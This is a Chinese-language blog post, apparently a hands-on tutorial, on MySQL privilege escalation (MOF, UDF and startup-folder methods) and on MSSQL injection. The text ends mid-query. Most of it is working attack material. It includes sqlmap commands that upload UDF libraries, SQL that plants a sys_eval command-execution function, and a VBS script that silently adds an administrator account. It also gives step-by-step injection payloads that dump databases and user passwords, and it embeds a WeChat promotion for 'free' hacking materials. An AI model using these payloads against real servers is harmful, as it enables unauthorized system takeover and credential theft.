mysql提權
MOF提權
MOF 提權是一個有歷史的漏洞,基本上在 Windows Server 2003
的環境下才可以成功。
提權的原理是C:/Windows/system32/wbem/mof/
目錄下的 mof
文件每 隔一段時間(幾秒鐘左右)都會被系統執行,因爲這個 MOF 裏面有一部分是 VBS 腳本,所以可以利用這個 VBS 腳本來調用 CMD 來執行系統命令,如果 MySQL 有權限操作 mof
目錄的話,就可以來執行任意命令了。
經測試win7雖然存在這個文件目錄,但是mysql以管理員權限運行,也會提示寫入失敗。
UDF提權
UDF說白了就是自定義函數,是數據庫功能的一種擴展。用戶通過自定義函數可以實現在 MySQL 中無法方便實現的功能,其添加的新函數都可以在SQL語句中調用,就像調用本機函數 version() 等方便。
如果我們添加的自定義函數可以執行系統命令,那麼是不是就相當於以mysql的權限去執行系統命令,如果mysql的權限比較高,是不是就可以達到一種權限提升的效果
動態鏈接庫
構建UDF的過程,其實就是調用動態鏈接庫的過程,因此我們首先必須知道動態鏈接庫存放的位置,以及要有合適的動態鏈接庫
-
如果mysql版本大於5.1,udf.dll文件必須放置在mysql安裝目錄的lib\plugin文件夾下
-
如果mysql版本小於5.1,udf.dll文件在windows server 2003下放置於c:\windows\system32目錄,在windows server 2000下放置在c:\winnt\system32目錄
show variables like '%plugin%'; # 查找插件目錄
select @@basedir; # 查找 mysql 安裝目錄
那麼動態鏈接庫文件去哪裏找呢?實際上我們常用的工具 sqlmap 和 Metasploit 裏面都自帶了對應系統的動態鏈接庫文件。
-
sqlmap 的 UDF 動態鏈接庫文件位置
sqlmap根目錄/data/udf/mysql
不過 sqlmap 中 自帶這些動態鏈接庫爲了防止被誤殺都經過編碼處理過,不能被直接使用。不過可以利用 sqlmap 自帶的解碼工具cloak.py 來解碼使用,cloak.py 的位置爲:/extra/cloak/cloak.py
,解碼方法如下:
# 解碼 32 位的 Linux 動態鏈接庫
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so
# 解碼 64 位的 Linux 動態鏈接庫
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so
# 解碼 32 位的 Windows 動態鏈接庫
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
# 解碼 64 位的 Windows 動態鏈接庫
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
-
Metasploit的UDF動態鏈接庫文件位置
/usr/share/metasploit-framework/data/exploits/mysql
-
兩款工具帶的動態鏈接庫是一樣的
尋找插件目錄
如果不存在的話
select @@basedir; # 尋找MySQL的安裝目錄
然後通過webshell手動去創建
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
寫入動態鏈接庫
方法一:
當SQL 注入且是高權限,plugin 目錄可寫且需要 secure_file_priv 無限制,MySQL 插件目錄可以被 MySQL 用戶寫入,這個時候就可以直接使用 sqlmap 來上傳動態鏈接庫,又因爲 GET 有字節長度限制,所以往往 POST 注入纔可以執行這種攻擊
sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"
方法二:
當沒有注入點時,我們可以操作原生 SQL 語句,這種情況下當 secure_file_priv 無限制的時候,我們也是可以手工寫文件到 plugin 目錄下的:
# 直接 SELECT 查詢十六進制寫入
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
# 解碼十六進制再寫入多此一舉
SELECT unhex('7f454c4602...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
這裏的十六進制怎麼獲取呢?可以利用 MySQL 自帶的 hex 函數來編碼:
# 直接傳入路徑編碼
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));
# 也可以將路徑 hex 編碼
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f));
一般爲了更方便觀察,可以將編碼後的結果導入到新的文件中方便觀察:
SELECT hex(load_file('/lib_mysqludf_sys_64.so')) into dumpfile '/tmp/udf.txt';
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f)) into dumpfile '/tmp/udf.txt';
方法三:
當webshell有一定權限時,可以直接通過文件上傳的方式,上傳對應的dll
文件
創建自定義函數並調用命令
-
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
-
select * from mysql.func;
驗證是否添加成功
-
調用該函數,即可以mysql權限執行一些系統命令
-
刪除自定義函數
drop function sys_eval;
UDF Shell
方法一:UDF.PHP
http://pan.dns.outnet/index.php?mod=shares&sid=R1ZXZ0UwdTJuSjVxZEVxd1JCc0E0TWl1VzZ1NjVOWW91Z3U2RExF
方法二:ntunnel_mysql.php
Navicat內置的php-mysq鏈接文件,上傳到目標網站
對navicat進行如下配置即可:
方法三:蟻劍內置插件
啓動項提權
windows開機時候都會有一些開機啓動的程序,那時候啓動的程序權限都是system,因爲是system把他們啓動的,利用這點,我們可以將自動化腳本寫入啓動項,達到提權的目的。當 Windows 的啓動項可以被 MySQL 寫入的時候可以使用 MySQL 將自定義腳本導入到啓動項中,這個腳本會在用戶登錄、開機、關機的時候自動運行。
在windows2003的系統下,啓動項路徑如下:
C:\Documents and Settings\Administrator\「開始」菜單\程序\啓動
C:\Documents and Settings\All Users\「開始」菜單\程序\啓動
在windows2008的系統下,啓動項路徑如下:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
我們在拿到一個網站的webshell的時候如果想進一步的獲得網站的服務器權限,查看服務器上系統盤的可讀可寫目錄,若是啓動目錄 C:\Users\用戶名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
是可讀可寫的,我們就可以執行上傳一個vbs或者bat的腳本進行提權。
這裏使用test.vbs
添加用戶密碼,上傳到啓動目錄重啓的時候即可自動添加賬號密碼
set wshshell=createobject("wscript.shell")
a=wshshell.run("cmd.exe /c net user test test123 /add",0)
b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)
通過mysql的話:
use mysql;
create table test(cmd text);
insert into a values(“set wshshell=createobject(“”wscript.shell””)”);
insert into a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0)”);
insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0)”);
select * from a into outfile “C:\Documents and Settings\All Users\「開始」菜單\程序\啓動\secist.vbs”;
重啓之後可以提權
CVE-2016-6663和CVE-2016-6664
https://www.freebuf.com/articles/web/288941.html
https://lengjibo.github.io/mysqludf/
MSSQL
MSSQL基礎
系統自帶庫
MSSQL安裝後默認帶了六個數據庫
-
4個系統庫:
master
、model
、tempdb
和msdb
; -
2個示例庫:
NorthwindTraders
和pubs
系統視圖表
MSSQL數據庫有安裝的自帶數據表:
MSSQL權限控制
-
服務器角色
可以通過如下語句判斷:
select is_srvrolemember('sysadmin')
-
數據庫角色
可以通過如下語句判斷:
select is_member('db_owner')
MSSQL常用語句
# 創建數據庫
create database [dbname];
create database test;
# 刪除數據庫
drop database [dbname];
drop database test;
# 創建新表
create table table_name (name char(10),age tinyint,sex int);
# 創建新表前要選擇數據庫,默認是master庫
use test;
create table admin (users char(255),passwd char(255),sex int);
# 刪除新表
drop table table_name;
drop table dbo.admin;
# 向表中插入數據
insert into table_name (column1,column2) values(value1,value2);
insert into admin (users,passwd,sex) values('admin','admin',1);
# 刪除內容
delete from table_name where column1=value1;
delete from admin where sex=2;
# 更新內容
update table_name set column2=”xxx” where column1=value1;
update admin set users='admintest' where sex=2;
# 查找內容
select * from table_name where column1=value1;
select passwd from admin where users='admin';
-
排序&獲取下一條數據
-
MSSQL數據庫中沒有limit排序獲取字段,但是可以使用top 1來顯示數據中的第一條數據,
-
使用 <> 來排除已經顯示的數據,獲取下一條數據,也就是不等於的意思。
-
使用not in來排除已經顯示的數據,獲取下一條數據 ,後面可以跟一個集合。
-
# 使用<>獲取數據
id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name<>'id' and name<>'username'--+
# 使用not in獲取數據
id=-2 union select top 1 1,table_name from information_schema.tables where table_name not in(select top 1 table_name from information_schema.tables)--+
id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name not in('id','username')--+
MSSSQL註釋
單行:--空格
多行:/**/
常用函數
常見注入類型
聯合查詢注入
1.判斷注入點及類型
?id=1' and 1=1--+
?id=1' and 1=2--+
# 那麼此處是字符型注入,需要單引號閉合
2.判斷字段數
?id=1' order by 3--+
?id=1' order by 4--+
3.聯合查詢判斷回顯點
?id=0' union select 1,2,3--+
4.獲取當前數據庫名字和版本信息
?id=0' union select 1,db_name(),@@version--+
5.獲取所有的數據庫名,database在較高版本的SQL Server 中已經變成了動態視圖
?id=0' union select 1,db_name(),name from master.sys.databases where name not in(select top 1 name
from master.sys.databases)--+
6.獲取所有的表名,當information前面沒有庫名時,默認查詢當前數據庫,與mysql不同,每個數據庫都有單獨的information表,可以用master.information_schema.tables 來查詢不同數據庫的信息
?id=0' union select top 1 1,2,table_name from information_schema.tables where table_name not in
(select top 1 table_name from information_schema.tables)--+
7.獲取所有的字段名,多加些限定條件方便注入
?id=0' union select top 1 1,2,column_name from information_schema.columns where column_name not in
(select top 1 column_name from information_schema.columns)--+
?id=0' union select top 1 1,2,column_name from information_schema.columns where table_name='users' and
column_name not in(select top 2 column_name from information_schema.columns where table_name='users')--
8.獲取users表賬號密碼信息
?id=0' union select top 1 1,username,password from users--+
報錯注入
-
MSSQL數據庫是強類型語言數據庫,當類型不一致時將會報錯,配合子查詢即可實現報錯注入
1.判斷注入點
id=1
2.判斷是否爲MSSQL數據庫
# 返回正常爲MSSQL
id=1 and exists(select * from sysobjects)
id=1 and exists(select count(*) from sysobjects)
3.判斷數據庫版本號
id=1 and @@version>0--+
# @@version是mssql的全局變量,@@version>0執行時轉換成數字會報錯,也就將數據庫信息暴露出來了,必須是在where後面拼接執行
4.獲取當前數據庫名
and db_name()>0--+
and 1=db_name()--+
# 報錯注入的原理就是將其他類型的值轉換層int型失敗後就會爆出原來語句執行的結果
5.判斷當前服務器擁有的權限
and 1=(select IS_SRVROLEMEMBER('sysadmin'))--+
and 1=(select IS_SRVROLEMEMBER('serveradmin'))--+
and 1=(select IS_SRVROLEMEMBER('setupadmin'))--+
and 1=(select IS_SRVROLEMEMBER('securityadmin'))--+
and 1=(select IS_SRVROLEMEMBER('diskadmin'))--+
and 1=(select IS_SRVROLEMEMBER('bulkadmin'))--+
6.判斷當前角色是否爲DB_OWNER
and 1=(select is_member('db_owner'))--+
# db_owner權限可以通過備份方式向目標網站寫文件
7.獲取當前用戶名
and user_name()>0--+
8,獲取所有數據庫名
and (select name from master.sys.databases where database_id=1)>0--+
# 更改database_id的值來獲取所有的數據庫
9.獲取數據庫的個數
and 1=(select quotename(count(name)) from master.sys.databases)--+
10.一次性獲取所有數據庫庫
and 1=(select quotename(name) from master.sys.databases for xml path(''))--+
11.獲取所有的表名
# 獲取當前庫第一個表
and 1=(select top 1 table_name from information_schema.tables)--+
# 獲取當前庫第二個表
and 1=(select top 1 table_name from information_schema